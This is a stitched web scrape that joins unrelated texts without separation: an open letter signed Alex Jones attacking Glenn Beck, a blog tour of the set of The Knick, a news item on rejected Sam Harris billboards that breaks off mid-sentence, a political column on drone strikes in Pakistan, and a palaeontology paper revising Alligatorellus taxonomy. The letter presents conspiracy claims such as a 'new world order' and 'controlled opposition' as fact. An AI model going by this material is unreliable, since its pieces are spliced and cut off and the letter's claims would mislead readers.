As the video below illustrates, despite the fact that you claim to be “a Libertarian at heart,” you have publicly supported programs and legislation that are universally abhorred by the vast majority of libertarians, such as the banker bailout and the USA Patriot Act.
During your Monday September 22 2008 TV broadcast, you expressed your vehement support for the bailout, stating, “The $700 billion dollars that you’re hearing about now is not only I believe necessary, it is also not nearly enough.” However, as soon as Bush left office and Obama picked up the baton and continued the same financial policy, you changed your tune and routinely attacked the bailout as an example of how socialism was taking over America.
The bailout was bad news for America under Bush just as it is under Obama, both were merely performing a transfer of wealth from America to offshore banks and giving the Federal Reserve total dictatorial control over the economy, but you only opposed it when Bush was out of office, proving that your opinions are not wedded to right or wrong, but to which puppet is in the White House.
A host of mainline conservative talking heads opposed the banker bailout, as did the majority of the American people, but you went on television and publicly supported it. This is irreconcilable with you being “a libertarian at heart” as you claim.
In addition, you aggressively attacked Ron Paul and his supporters during the election campaign when it looked like the Texan Congressman might have a real chance of winning the nomination. You implied that Ron Paul supporters were domestic terrorists and should be dealt with by the U.S. Army, but later tried to side with Ron Paul supporters when the infamous and discredited MIAC report echoed your own talking point that people who support Ron Paul were dangerous.
The smear came during a November 2007 show when you were still hosting on CNN. Yourself and ex-Marxist David Horowitz smeared Ron Paul supporters, libertarians and the anti-war left as terrorist sympathizers and inferred that the U.S. military should be used to silence them, parroting a talking point that traces back to a September 2006 White House directive. When asked about the issue, Ron Paul dismissed you as “pretty discourteous” and a “demagogue”.
You Glenn Beck have acted as a cheerleader for the wars of aggression launched since 9/11 and in addition called for Iran to be attacked, claiming that President Mahmoud Ahmadinejad is preparing a “second holocaust.” Once again, these political opinions stand completely contrary to libertarian principles, which follow the founding fathers’ view that an expansionist aggressive foreign policy is bad for America.
You have attacked Obama for unraveling the Bush war machine to give you left cover, when in fact Obama has done everything in his power to expand Bush’s wars, beefing the campaigns in Afghanistan and Pakistan while removing a token amount of troops from Iraq and replacing them with an even greater number of contractors.
By attacking Obama for being different to Bush, when in reality he offers not change whatsoever, you keep people locked in the left-right paradigm and ensure that instead of coming to the realization that the whole system is rigged, they will merely vote in another puppet for the new world order in 2012.
Glenn Beck – you are controlled opposition, you are there to co-opt and ensure the Tea Parties are under control and that they never focus on taking on the real power behind the American economy – the Federal Reserve.
Bearing in mind that you almost died not too long ago, wouldn’t you rather come to the end of your life, whether that be in one year or 30 years from now, knowing that you stood up for true liberty and freedom? Isn’t that more valuable than your $50 million dollars a year contract? When I was approached ten years ago and offered large sums of money every year to sell out and become what you are today – the new Rush Limbaugh – while accepting tight controls on what I could and could not discuss – I said no and I thank God every day that I made the right decision.
I appeal to you directly Glenn – think twice about what you are doing, think twice about what you are a part of right now. Try to do what you can to redeem yourself and don’t be a Benedict Arnold, don’t be a traitor that takes legions of good-natured but hoodwinked people down the rat hole with you as America collapses because those who had voices and platforms used them to deceive and distract rather than tell the truth.
Alex Jones
Watch Alex Jones’ video address to Glenn Beck which was made during his radio show yesterday.A couple weeks ago I was fortunate to be given a tour of the set of The Knick, the Cinemax’s historical drama set within the fictional Knickerbocker Hospital (which shares some traits with the actual Knickerbocker Hospital). Now, touring a TV or film set is pretty great in a normal situation. But touring a historical set is a bit like drifting through an old photograph.
Below: Production designer Howard Cummings introduces us to the room where all the lovely, gory magic happens — the operating theater.
The first season of The Knick filmed a few scenes on Broome Street. (Tom took some pictures of that experience which we posted here.) And now I got my turn to wander through a bit of dreamlike historical recreation, passing through ornate hospital and laboratory sets.
A few impressions:
1) My pictures aren’t that good because, well, I’m not really a great photographer. But also because everything is lit with those Edison-style lightbulbs, creating a warm and sometimes ominous glow. The show films using only these light sources. I’m pretty sure I ate at a restaurant on the Bowery last week that had a similar lighting scheme.
2) As there are no huge pieces of equipment following Steven Soderbergh with his camera around the sets, they’re designed with more realistic dimensions. The production designer Howard Cummings walked us through the labyrinth of darkened set pieces that at times felt like the cleanest haunted house in the world. The various hospital rooms actually look like they could admit patients. The notorious operating theater really felt like a small classroom.
3) I’m certain that Cinemax could turn the sets into a popular nightclub during the off-season. Since it films in Brooklyn, this might not be a bad investment idea.
4) The show’s medical adviser is Dr. Stanley Burns who has an almost frightful depth of knowledge and an amazing trove of materials from which to draw inspiration. Check out the Burns Archives (which has some digital assets available) to peer into the plot possibilities.
5) When the show returns, be sure to pay extra-special attention to the wardrobe. We met the costume designer Ellen Mirojnick who walked us through a literal warehouse of historical pieces. My first thought was that I want her to design all the outfits for my wedding one day. Her domain was like the world’s best thrift store, occupied only by garments from the Gilded Age. Corsets, boiler hats, ball gowns, medical robes. The show’s unsettling feel (transmitted through music, tone and set color schemes) is subtly interpreted through each character’s dress. Probably an obvious point to make, but again, startling to see in period costumes.
Below: Racks and racks of coats, suits and hats that could literally clothe thousands of hipsters.
6) Finally I could have talked for hours to the writers who we met at the end of our tour — Jack Amiel, Michael Begler and Steven Katz. The show has a pretty high degree of difficulty (set in the past and in a hospital) so it was interesting to explore how they craft a plot around historical events and unusual medical practices.
And, no, I didn’t get to see Clive Owen, but I did get to see all of his hats!
The show returns to Cinemax later this fall. As usual I’ll be Tweeting along with the show during its initial broadcast, even through those portions of blood-soaked medical surgeries that make me feel like I’m going to vomit.BILLBOARDS ridiculing Christian communion wafers and asking if people can flush the Koran down the toilet have been rejected by a major Australian outdoor advertising company.
The ads were to be posted in Melbourne, Sydney and Brisbane to promote atheist and American author Sam Harris, who is touring in January.
Promoters had planned to run quotes from the top-selling author’s books pasted on black billboards.
What do you think? Have your say below.
One of the four advertisements derided the symbolic communion wafer.
“Jesus Christ — who, as it turns out, was born of a virgin, cheated death, and rose bodily into the heavens — can now be eaten in the form of a cracker,” the ad said.
Islam was also in the firing line.
“We are now in the 21st century. All books, including the Qur’an, should be fair game for flushing down the toilet without fear of violent reprisal.’’
Advertising giant APN Outdoor confirmed it rejected the ads because they did not comply with the Outdoor Media Association’s code of ethics, which states ads cannot include material that vilifies religion.
media_camera Another billboard that was rejected.
Think Inc organised Mr Harris’s tour and the $20,000 billboard advertising campaign. Founder Desh Amila denied the billboards vilified religion.
“We were quite surprised,’’ he said.
“One can be offended by them but it is a personal opinion. We want to involve people in intellectual dialogue, not vilify,’’ he said.
“When it first came back we thought it was someone managing our account not understanding the context. Other similar outdoor campaigns have run without any issues. The whole idea of opening up religion into a conversation is quite important.’’
He said the refusal was censorship.
Faith Communities council secretary the Rev Ian Smith said the advertising was sloganistic and “intended to incite hatred’’
“The one about Muslims is really offensive and that is the intention of it,’’ he said.
“And the one about Jesus, 90 per cent for the church would be offended, it is belittling, cheapening and shallow.
“I am all for freedom of |
the attacks appear to enrage the surviving targets, recruit more to their ranks and lead to more attacks. What a surprise: bombing Muslims more and more causes more and more Muslims to want to bomb the countries responsible. That, of course, has long been the perverse "logic" driving the War on Terror. The very idea that we're going to reduce Terrorism by more intensively bombing more Muslim countries is one of the most patently absurd, self-contradicting premises that exists. It's exactly like announcing that the cure for lung cancer is to quadruple the number of cigarettes one smokes each day. But that's been the core premise (at least the stated one) of our foreign policy for the last decade: we're going to stop Terrorism by doing more and more of exactly the things that cause it (and see this very good Economist article on the ease with which drones allow a nation's leaders to pretend to its citizenry that they are not really at war -- as we're doing with Pakistan). Speaking of counter-productive U.S. actions in Pakistan, this Washington Post article from Friday discusses the possibility that a coup could be engineered in that country to overthrow the current Government and replace it with one that is friendlier to U.S. interests: U.S. officials pointed to recent signs that Pakistan's powerful army and opposition parties are positioning themselves to install a new civilian government to replace President Asif Ali Zardari and his prime minister in the coming months.... U.S. officials indicated that the administration has begun to contemplate the effects of a change, engineered through Zardari's resignation as head of his political party, the dissolution of the current coalition government, or a call for new elections under the Pakistani constitution, rather than any overt action by the military. Some suggested that a new, constitutionally-approved government that was more competent and popular, and had strong military backing, might be better positioned to support U.S. policies. The article does not say that the U.S. is actively involved in those efforts, but it's very difficult to imagine American military and intelligence officials simply sitting passively by as a coup is underway in a country (like Pakistan) where we are so invested, just keeping their fingers crossed that it results in a new government "better positioned to support U.S. policies." Whatever else is true, it's very easy to imagine how such a coup -- resulting in a more U.S.-friendly government -- will be perceived in that country and around the Muslim world. That perception is unlikely to help reduce the threat of Terrorism. For more on the growing U.S. war in (on) Pakistan, watch this quite good Rachel Maddow monologue from Thursday night: Copyright ©2010 Salon Media Group, Inc. Click on "comments" below to read or post comments Click here to learn how to post a comment.Comments that include profanity or personal attacks or other inappropriate material will be removed from the site. See our complete Comment Policy. | More Sign up for our Daily Email Newsletter Please help Support Information Clearing House One-Time Donation
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Thank you for your support In accordance with Title 17 U.S.C. Section 107, this material is distributed without profit to those who have expressed a prior interest in receiving the included information for research and educational purposes. Information Clearing House has no affiliation whatsoever with the originator of this article nor is Information ClearingHouse endorsed or sponsored by the originator.)Given such potentially high European atoposaurid diversity within a narrow geographic and temporal range, and a lack of taxonomic consensus, a full revision of atoposaurid systematics is overdue. Presented here is a re-assessment of specimens of Alligatorellus from the Late Jurassic of France and Germany in the first of a series of papers in which we will revise the taxonomy, systematics and phylogenetic relationships of Atoposauridae. We refer the German occurrence to a new species of Alligatorellus, providing a comprehensive re-description, and make detailed comparisons with the French type species. We also consider the taxonomic affinities of an additional German specimen described as Alligatorellus sp. ( Schwarz-Wings et al., 2011 ), and examine the osteoderm morphology of Alligatorellus, investigating its utility in atoposaurid systematics. Finally, we examine the taxonomy and validity of the contemporaneous, multispecific taxa Alligatorium and Atoposaurus, and discuss the diverse atoposaurid faunal composition of the Late Jurassic of western Europe.
Systematic Palaeontology
Note on taxonomy: Gervais (1871) did not designate a holotype specimen in his original description of Alligatorellus beaumonti. Wellnhofer (1971) elected MNHN 15639 as the holotype of A. beaumonti beaumonti. As this is one of the two specimens described by Gervais (1871), we follow Wellnhofer (1971) in considering MNHN 15639 to be the holotype for the genus and type species of Alligatorellus beaumonti.
Wellnhofer (1971, p. 144) provided the following diagnosis of Alligatorellus (translation adapted from Schwarz-Wings et al., 2011): (1) a large-sized atoposaurid (420–550 mm) with an acute-triangular skull and large orbits; (2) the supratemporal fossae are not internally fenestrated, and are connected to the orbit by a superficial furrow; (3) the nasal aperture is divided; (4) the tail is longer than half of the precaudal body length; (5) presence of a biserial osteoderm shield from the nuchal to the caudal region; (6) single osteoderms are sculpted; (7) presence of a lateral keel on the nuchal and dorsal osteoderms, whereas the caudal osteoderms bear a more medial keel; (8) ventral armour possesses two rows of scutes in the tail region; (9) the ventral scutes are oval and medially keeled.
Comments: In light of more recent atoposaurid discoveries and an improved understanding of their anatomy, much of Wellnhofer’s (1971) diagnosis requires revision. The first putative defining characteristic (1) is a feature that also describes the sizes of Alligatorium meyeri, A. franconicum, Montsecosuchus depereti, and Theriosuchus pusillus, and may in fact be an over-estimation of their size. The lack of internal fenestration (2) of the supratemporal fenestra is not seen in other atoposaurids, including Alligatorium, Montsecosuchus, and Theriosuchus, and is thus retained as a locally diagnostic feature. The division of the nasal aperture (3) is not visible in LMU 1937 I 26 as a result of crushing of the anterior-most portion of the snout, but is present in MNHN 15639. Regardless, this appears to be a feature shared by other atoposaurids including Theriosuchus pusillus (NHMUK PV OR48330) and Theriosuchus grandinaris (Lauprasert et al., 2011). The relative length of the tail (4) is a feature seen in other atoposaurids including Atoposaurus and Theriosuchus pusillus and appears to be widespread among Atoposauridae, as are characters (5) and (6). Indeed, osteoderm sculpting and a biserial osteodermal shield are present in Alligatorium, Montsecosuchus, and Theriosuchus. The presence, prominence, and position of a dorsal keel on the biserial osteoderms might be diagnostic at the generic level (7), although there are differences between the German and French specimens, as discussed below. The presence of a dual row of ventral osteoderms in the caudal region is also questionable (8), especially with respect to their morphology (9)—they are rarely and poorly preserved in the ventral region in both French and German specimens. It is probable that post-mortem flattening has re-arranged the paravertebral dorsal osteoderms, which, when viewed laterally, might easily be misinterpreted as belonging to a ventral series. Finally, it should be noted that in the referred specimen of A. beaumonti (MNHN 15638), the osteoderms are much less visible, with just a single noticeable row overlying the anterior caudal vertebrae, and possibly a single row concealed underneath the dorsal vertebrae.
Revised diagnosis: Among currently recognised atoposaurids, Alligatorellus can be diagnosed based on the following unique combination of features and autapomorphies (highlighted with an asterisk): (1) rostrum unsculpted or substantially less so than cranial table; (2) cranial sculpting comprised of homogeneous shallow pitting; (3) absence of hypertrophied maxillary tooth 5, with homodont pseudocaniniform dentition; (4) frontal width between the orbits narrower than maximal width of nasals; (5*) broad frontal anterior process, not constricted; (6) absence of raised orbital or supratemporal rims; (7) unperforated supratemporal fenestra; (8*) anterior process of squamosal extends to the orbital margin; (9*) posterodorsal margin of parietals and squamosals completely covers dorsal occipital region; (10) smooth mandibular outer surface; (11) proportionally short first metatarsal; (12) dorsal surface of dorsal osteoderms completely sculpted, with parallel and straight anterior and posterior margins; (13*) dorsal osteoderms with longitudinal ridge along entire lateral margin; (14) caudal osteoderms with smooth, non-serrated edges.
Holotype: MNHN 15639, part and counterpart slabs preserving a near-complete, articulated skull and skeleton, missing the distal forelimb elements and part of the left hindlimb (Fig. 3).
Figure 3: (A) Line drawing of holotype specimen of Alligatorellus beaumonti (MNHN 15639) in dorsolateral view; (B) photograph of holotype specimen.
Referred specimen: MNHN 15638, part slab comprising a near-complete articulated skeleton, missing the distal-most caudal vertebrae and part of the left forelimb (Fig. 4).
Figure 4: (A) Line drawing of referred specimen of Alligatorellus beaumonti (MNHN 15638) in dorsoventral view; (B) photograph of referred specimen.
Locality and stratigraphic age: Cerin, Ain, eastern France; Kimmeridgian (Late Jurassic) (Wellnhofer, 1971).
Preservation of holotype: The specimen is dorsolaterally flattened and, on the part, the dorsal surface of the skull is embedded into matrix comprising grey lithographic limestone. This obscures both the lateral and ventral surfaces, and much of the mandible. Thirteen maxillary teeth are preserved. The complete, articulated axial skeleton is preserved, with the exception of the three posterior-most caudal vertebrae, and is overlain by a continuous sheath of parasagittal biserial osteoderms. At least eleven ribs are preserved in situ on the left hand side. A partial right scapula is the only preserved element of the pectoral girdle. The right forelimb is missing the proximal humerus and manus, and the left forelimb is disarticulated, lacking the manus. Some fragmentary pelvic elements remain, including both ilia. The left hindlimb is articulated but damaged, missing part of the femoral midshaft, the proximal tibia and fibula, and distal tarsals. The right hindlimb is articulated but missing both the proximal femur and the distal phalanx on digit I. The counterpart preserves two osteoderms and fragments of skull material embedded within the impressions. There is some dendritic mineral growth propagating from the skeleton.
Preservation of referred specimen: The entire skeleton is laterally flattened on a brick-red and grey slab of lithographic limestone. No counterpart is preserved. The skull is ventrolaterally flattened, exposing only the ventral and sinistral sides of the mandible, the ventrolateral portion of the skull, and nine maxillary teeth. The right forelimb is preserved only as an impression, as are the posterior-most caudal vertebrae. Otherwise, the entire axial skeleton is preserved, together with three ribs (and several rib impressions), and the left pectoral and pelvic girdles. Both hindlimbs are complete. A single row of osteoderms is preserved along the nuchal-dorsal series. The cervical vertebrae are recurved slightly posteriorly, and the posteroventrally deflected limbs give the impression of hanging loosely from the trunk.
Additional comments: Wellnhofer (1971) provided a detailed description of both specimens of Alligatorellus beaumonti. Here, we provide only a revised diagnosis as the basis for its taxonomic discrimination from the Bavarian specimens of Alligatorellus. Using linear morphometrics, Wellnhofer (1971) regarded the Cerin and Bavarian specimens to be of similar, adult ages, and largely based his justification for recognising two distinct taxa on the relatively smaller size of the Cerin specimens (which are approximately 50 mm shorter in total length). However, size and geographical distribution are not the only attributes demarcating the two as distinct taxa, as outlined below.
Revised diagnosis: Alligatorellus beaumonti can be diagnosed based on the following unique combination of characters and autapomorphies (highlighted with an asterisk): (1) smooth contact between maxilla and jugal (Fig. 6); (2*) frontal with unsculpted posterior and anterior portions; (3) surface of rostrum notably less sculpted than cranial table; (4) relatively large lateral temporal fenestra, approximately 30% the size of the orbit; (5*) medial longitudinal depression on posterior portion of nasal and anterior portion of frontal; (6*) frontal width between orbits narrower than nasals; (7) smooth and unsculpted region on anterior portion of squamosal nearing orbit and posterolateral process of squamosal; (8*) vertebral centra shape grades continuously posteriorly from cylindrical to elongate-spool; (9) secondary osteoderms in caudal series present; (12*) lateral ridge on sacral osteoderms forms an incipient posterior projection; (10) ratio of femur to tibia high (1.11).
Alligatorellus bavaricus Wellnhofer, 1971 Alligatorellus beaumonti bavaricus Wellnhofer, 1971
Note on taxonomy: Wellnhofer (1971) regarded LMU 1937 I 26 as the holotype of A. beaumonti bavaricus, and we elect this specimen as the holotype of A. bavaricus, which we re-rank from subspecies to species level.
Holotype specimen: LMU 1937 I 26 (Fig. 5).
Figure 5: (A) Line drawing of holotype specimen of Alligatorellus bavaricus (LMU 1937 I 26) in dorsolateral view; (B) photograph of holotype specimen.
Figure 6: Photograph and line drawing of the skull of the holotype specimen of Alligatorellus beaumonti (MNHN 15639) in dorsal aspect.
Referred specimen: Wellnhofer (1971) also described a second specimen of A. bavaricus, held in the private collection of E. Schöpfel. Based on the images and description provided by Wellnhofer (1971), we follow this referral. However, in view of the fact that this specimen remains in a private collection and is not publicly accessible, this referral is informal and is used only to draw attention to the existence of a second specimen.
Type locality and horizon: Solnhofen beds near Eichstätt, southeast Germany; early Tithonian (Late Jurassic, Hybonoticeras hybonotum zone; Wellnhofer, 1971).
Preservation: The specimen is a semi-three-dimensional body fossil preserved obliquely on a slab of Solnhofen ‘Plattenkalk’, and is fully articulated with its head dorsally recurved. As preserved, the spinal column is rod-like with a slight ventral flex, and the limbs are splayed out beneath the trunk. Trunk elements (posterior cervical and dorsal vertebrae, ribs, and osteoderms) are mostly damaged and crushed beyond recognition in an agglomeration, where there is a noticeable trace of soft tissue residue. Poor skeletal preservation means that the anterior-most vertebrae (atlas, axis, and anterior cervical vertebrae) are indistinguishable from one another. Only the eleven anterior-most dorsal paravertebral osteoderms are substantially preserved with a minor and variable degree of caudal imbrication. The next four osteoderms in the series are missing (anteriorly adjacent to the sacrum), but twenty five paired osteoderms are preserved along the tail. Poorly preserved ventral osteoderms are part of the agglomeration around the torso, and are present along the sacrum and tail. The ventral osteoderms terminate posteriorly at the same position as the dorsal series.
Etymology of species name: bavaricus, based on the area of the type locality, and also the sub-species name provided by Wellnhofer (1971) for this specimen.
Additional comments: The majority of the features Wellnhofer (1971) proposed in the original diagnosis of A. bavaricus characterise atoposaurids in general, or are more widespread within Atoposauridae. For example, an ‘acute-triangular skull with large orbit’ is a general feature seen in many crocodyliforms, including all known atoposaurids and bernissartiids, and the ‘biserial osteoderm shield from the nuchal to caudal region’ is found in the atoposaurids Theriosuchus (Owen, 1879) and Alligatorium (Wellnhofer, 1971), and may be synapomorphic for Atoposauridae.
Diagnosis: Alligatorellus bavaricus can be diagnosed based on the following unique combination of characters and autapomorphies (highlighted with an asterisk): (1*) extremely narrow and short skull (ratio of skull width to orbit length is 1.29; Fig. 7); (2*) posterior surface of nares longitudinally crenulated; (3) small, slit-shaped antorbital fenestra, enclosed by nasals; (4*) prominent transverse ridge defining frontal–parietal suture, medial to supratemporal fenestrae; (5) smooth posterior region of parietal dorsal surface; (6*) dorsal osteoderms with longitudinal medial ridge, becoming more laterally placed anteriorly; (7) isometric caudal osteoderm morphology; (8*) distinct ridge on proximodorsal edge of scapula; (9*) an extremely high humerus to ulna ratio of 1.45; (10*) an extremely low femur to tibia ratio of 1.04; (11*) an extremely low tibia to ulna ratio of 0.64; (12) metatarsals I–IV equidimensional.
Figure 7: Photograph and line drawing of the skull of the holotype specimen of Alligatorellus bavaricus (LMU 1937 I 26) in dorsolateral aspect.
Differential diagnosis to A. beaumonti: Alligatorellus bavaricus can be distinguished from A. beaumonti based on possessing the following features: (1) proportionally larger orbits; (2) longitudinal crenulations on the posterior external surface of the nares; (3) a diminutive antorbital fenestra; (4) frontals proportionally wider between orbits than nasals; (5) prominent transverse ridge defining the frontal–parietal suture on the cranial table; (6) lack of posterolateral squamosal process; (7) medially-placed dorsal keels on dorsal osteoderms; (8) osteoderm shapes are isometric down length of body; (9) humerus proportionally longer than ulna (1.45 to 1.12); (10) higher ratio of humerus to femur length (0.89 to 0.75).
The electronic version of this article in Portable Document Format (PDF) will represent a published work according to the International Commission on Zoological Nomenclature (ICZN), and hence the new names contained in the electronic version are effectively published under that Code from the electronic edition alone. This published work and the nomenclatural acts it contains have been registered in ZooBank, the online registration system for the ICZN. The ZooBank LSIDs (Life Science Identifiers) can be resolved and the associated information viewed through any standard web browser by appending the LSID to the prefix “http://zoobank.org/”. The LSID for this publication is: urn:lsid:zoobank.org:pub:B7CC4367-4203-4AED-8C30-2D7E4E71665D. The online version of this work is archived and available from the following digital repositories: PeerJ, PubMed Central and CLOCKSS.
Description and comparisons of Alligatorellus bavaricus The following description is solely of the type specimen LMU 1937 I 26 but, based on the images presented in Wellnhofer (1971), the referred specimen does not appear to differ in any notable way. Elements of the skull of the type are fully fused, and vertebrae display complete neurocentral fusion, implying that this specimen of Alligatorellus had reached a mature stage of growth (Joffe, 1967). Measurements are provided in Table S1. Skull: Observations of the skull are restricted to the dorsal and right-lateral surfaces. These external surfaces display a moderate degree of sculpting, although to a lesser extent than that of Theriosuchus (Owen, 1879; Brinkmann, 1992; Wu, Sues & Brinkman, 1996; Schwarz & Salisbury, 2005) and Alligatorium (Wellnhofer, 1971). The skull has an acute-triangular morphology (platyrostral) in dorsal view, typical of atoposaurids, with concave lateral margins along the relatively short snout. The intramandibular angle (defined as the angle between the lateral extremities of the cranial table and the distal snout tip, in dorsal aspect) is slightly greater (37°) than that of Theriosuchus (30–32°). Several teeth are preserved in situ, and are peg-like (pseudocaniniform), pointed and possess apicobasally and mesiodistally oriented, parallel striations. None of the teeth appear to be serrated, and in general aspect they are indistinguishable from the teeth observed in the Cerin specimens of Alligatorellus beaumonti. Alligatorellus bavaricus may possess one more maxillary tooth than the French species, although this is difficult to confidently assess due to the mode of preservation. The dentition of Theriosuchus (Owen, 1879; Joffe, 1967; Brinkmann, 1992; Martin, Rabi & Csiki, 2010) is substantially different in that it is heterodont. No palatal elements are visible, and aspects of the anatomy of the premaxilla, maxilla, nasals and external nares are difficult to discern due to dorsal flattening into the matrix and mandible, and because of the absence of the distal snout tip. The occipital region of the skull is also obscured by matrix and crushed, granular bone fragments, which probably represent the anterior-most elements of the axial skeleton. There is a ventrolateral notch between the premaxilla and maxilla but, unlike in Theriosuchus ibericus (Brinkmann, 1992) and Theriosuchus sympiestodon (Martin, Rabi & Csiki, 2010), this is not occupied by an enlarged tooth. The paired nasals contribute to the external nares via a sagittal anterior projection, as in Alligatorellus beaumonti, Alligatorium meyeri, and Theriosuchus pusillus. Wellnhofer (1971) regarded this feature as diagnostic of Alligatorellus. However, it may be a synapomorphy of all atoposaurids: in other crocodyliforms with divided external nares, this division is formed by a sagittal projection of the premaxillae, e.g., the metriorhynchid Maledictosuchus (Parilla-Bel et al., 2013), whereas the external nares are fully open or only partially divided posteriorly in eusuchians (e.g., Delfino et al., 2008). A pair of small, slit-like antorbital fenestrae are present and are entirely enclosed by the nasals, a feature absent in A. beaumonti, but present within all specimens of Theriosuchus for which the snout is preserved; as such we consider this feature to be locally diagnostic of A. bavaricus within non-Theriosuchus atoposaurids. The dorsal surface of the nasals is sculpted by faint longitudinal crenulations, a feature unique within Atoposauridae, but also present in the goniopholidid Eutretauranosuchus delfsi (Smith et al., 2010; Pritchard et al., 2013). As such, this feature is considered a local autapomorphy of A. bavaricus. Posterior to the external nares, the lateral margins of the nasals are straight, contrasting with the concave margins observed in A. beaumonti. The dorsolaterally facing orbits are large with respect to the cranium, occupying about one third of the total cranial length and the majority of the skull width. This is comparable to Atoposaurus oberndorferi but distinct from A. beaumonti, in which the orbits occupy one quarter of the skull length. The relatively large size of the orbits might represent retention of a paedomorphic characteristic (Joffe, 1967). A large amount of secondary calcite growth is present within the orbit, obscuring much of the internal cranial morphology. The right lateral temporal fenestra is deep and arcuate in cross-sectional morphology, but largely obscured as a result of the crushing of the skull. It is separated from the orbit by a mediolaterally-oriented postorbital bar, which descends steeply into the posterolateral internal margin of the orbit. The lateral temporal fenestra is similar in size to the dorsally located supratemporal fenestra, and is approximately a quarter of the size of the external opening of the orbit. The frontals are mediolaterally concave, to a slightly greater degree than the parietals, and become extremely thin at the orbital margin, lacking the elevated orbital rims seen in Theriosuchus (Owen, 1879). Compared to the nasals, they are relatively wide with respect to the frontals in A. beaumonti. The anterior frontal ramus extends slightly beyond the anterior tip of the prefrontal, a feature which we consider to be a local autapomorphy because of its absence in other atoposaurids, but that is present in some other non-eusuchian neosuchians, including Eutretauranosuchus delfsi (Pritchard et al., 2013) and Pholidosaurus purbeckensis (Salisbury, 2002; Montefeltro et al., 2013). The anterior contacts between the frontals, prefrontals and lacrimals are largely obscured, as is the overall morphology of these pre-orbital elements. However, the majority of the anterior margin of the orbits comprises a deep and thick wedge of bone that descends as a vertical sheet into the orbit, forming a distinctive anterodorsal brow. The maxilla contributes extensively to the ventral margin of the orbit, with the contact between the maxilla and the lacrimal becoming indiscernible more anteriorly as a result of the mode of preservation. The jugal occupies half of the ventral margin of the orbit, posterior to the maxilla. Palpebrals were either absent or are not preserved, but appear to be present in the anterior orbit of Alligatorellus beaumonti. Posterior to the orbits, the dorsal surface of the skull is mildly sculpted by anisotropic and heterogeneously spaced pits that are similar to Alligatorellus beaumonti, but are less prominent than those seen in Theriosuchus and Alligatorium. In contrast, this surface is smooth and unsculpted in Atoposaurus (Wellnhofer, 1971; J Tennant, pers. obs., 2013). It is plausible that the heterogeneous degree of cranial sculpting seen in atoposaurids including Alligatorellus and Montsecosuchus is useful in distinguishing specimens at the species level. Between the supratemporal fenestrae is a prominent mediolateral ridge defining the suture between the frontal and parietal, a feature we consider diagnostic of A. bavaricus. The anterior parietal is not sculpted where it contacts the frontals, unlike A. beaumonti where the whole cranial table (excluding the frontals) is homogeneously sculpted with small circular pits. The squamosal is homogeneously sculpted, as with the parietal, with a dorsally convex dorsal surface and orthogonal lateral and posterior margins, differing from Theriosuchus pusillus which has a smooth posterolateral process (Owen, 1879; J Tennant, pers. obs., 2013). The cranial table is mostly flat, as is the case in most other atoposaurids, with the exception of the slightly domed structure that characterises Montsecosuchus (Buscalioni & Sanz, 1990a), and possibly Atoposaurus. The anterolateral portion of the squamosal is sharply pointed and curves posteromedially around the supratemporal fenestra. Here, it is initially gently arcuate, then becomes straight as it contacts the parasagittally-directed and straight medial edge. This gives the squamosal an overall distorted rhombohedral shape in dorsal aspect. The majority of the dorsomedial margin of the squamosal contributes to the supratemporal fenestra, with the lateral portion obscuring most of the ventrally-placed quadrate and quadratojugal. The posterolateral process of the squamosal is greatly reduced compared to other atoposaurids, in which it generally tapers to a point, and is therefore considered to be a local autapomorphy of A. bavaricus, being similarly present in other basal neosuchians such as Amphicotylus lucasii (Mook, 1942). In Alligatorellus beaumonti, there is no development of the posterolateral process, the posterior edge instead being slightly anterolaterally directed. Between the supratemporal fenestrae, the paired, rectangular parietals are as mediolaterally wide as the frontals between the orbits. The parietals contribute to the posteromedial margin of the supratemporal fenestra, but the relationship with the postorbitals is difficult to see due to post-mortem damage. However, the postorbital bar is present and weakly developed, possessing a superficial furrow connecting the orbit and the supratemporal fenestra. The frontal only contributes to the supratemporal fenestra at its anteromedial edge. Here, the frontal and parietal form a lateral wedge, which thins laterally into the postorbital bar. The posterior portion of the dorsal surface of the parietal is smooth, a feature otherwise only found in Atoposaurus, although in that taxon the skull is entirely unsculpted (Wellnhofer, 1971; J Tennant, pers. obs., 2013); as such, we consider this heterogeneous pattern of cranial sculpting to be autapomorphic for A. bavaricus. The lateral and ventral surfaces of the skull are largely obscured by the displaced and crushed mandible, and the preserved orientation of the skeleton. The mandible is not visible ventral or anterior to the orbit, and is largely obscured posteriorly. It has been slightly dorsally displaced into the ventrolateral portion of the right-lateral face of the skull. The mandible broadens posteriorly both mediolaterally and dorsoventrally, developing a lateral shelf as it flares out beneath the lateral temporal fenestra, possibly at the position at which the mandibular fenestra would have been situated. The ventral margin of the mandible curves medially and substantially thins mediolaterally at its posterior extremity, where it forms an acute and recurved process, the posterior margin of which is gently concave and slightly set back from the posterior edge of the cranial table. Axial skeleton: One of the most striking features of atoposaurids is that the tail length is greater than the length of the torso, and comprises approximately one-half of the total length of the skeleton. In Alligatorellus bavaricus there are seven cervical (including the axis and atlas) and fifteen dorsal vertebrae (note that Wellnhofer (1971) observed only seventeen presacral vertebrae, using osteoderm count as a proxy). These vertebrae are mostly indistinguishable from one another, but their presence is estimated based on their associated dorsal paravertebral osteoderms which, along with the poor preservation of the trunk region, largely obscure the morphology of the vertebral column. As noted by Wellnhofer (1971), three sacral vertebrae seem to be present, but their preservation means that this cannot be determined with any certainty, with all elements crushed beyond distinction. If correctly determined, sacral count might be a distinguishing feature between A. bavaricus and A. beaumonti, with the latter only having two sacral vertebrae, but variation in sacral count is difficult to discern in atoposaurids due to poor preservation of the axial skeleton in specimens of Alligatorellus. There are around forty caudal vertebrae, although the precise number is difficult to determine, with the distal-most two or three absent, as indicated by impressions. Much of the caudal vertebral series is variably covered in matrix and fixing glue, obscuring most of the morphological detail and intervertebral articulations. In the central caudal series, a melange composed of dorsal and ventral paravertebral osteoderms obscures much of the anatomical detail. Only the first four caudal vertebrae can be used to observe any of the anatomy from a right-lateral perspective. It is unknown whether the vertebrae were procoelous, as in Theriosuchus and eusuchians (e.g., Pol & Gasparini, 2009), or amphicoelous. The dorsal osteoderms occur in a biserial row from the anterior-most cervical vertebrae to about the mid-point of the caudal series, a feature that characterises all unambiguous atoposaurids, with the exception of Atoposaurus, and that is also absent in the putative atoposaurid Karatausuchus (Efimov, 1976; Storrs & Efimov, 2000). The osteoderms of A. bavaricus are imbricated along their entire length, and there is no ‘peg and socket’ articulation as described in two scutes assigned to Theriosuchus pusillus (Owen, 1879; Schwarz-Wings et al., 2011) and in Theriosuchus guimarotae (Schwarz & Salisbury, 2005). The osteoderms of A. bavaricus are rounded, and the lateral edges are predominantly convex, with one or two being marginally concave. There is a central longitudinal ridge on the dorsal surface of osteoderms of A. bavaricus, similar to some of the 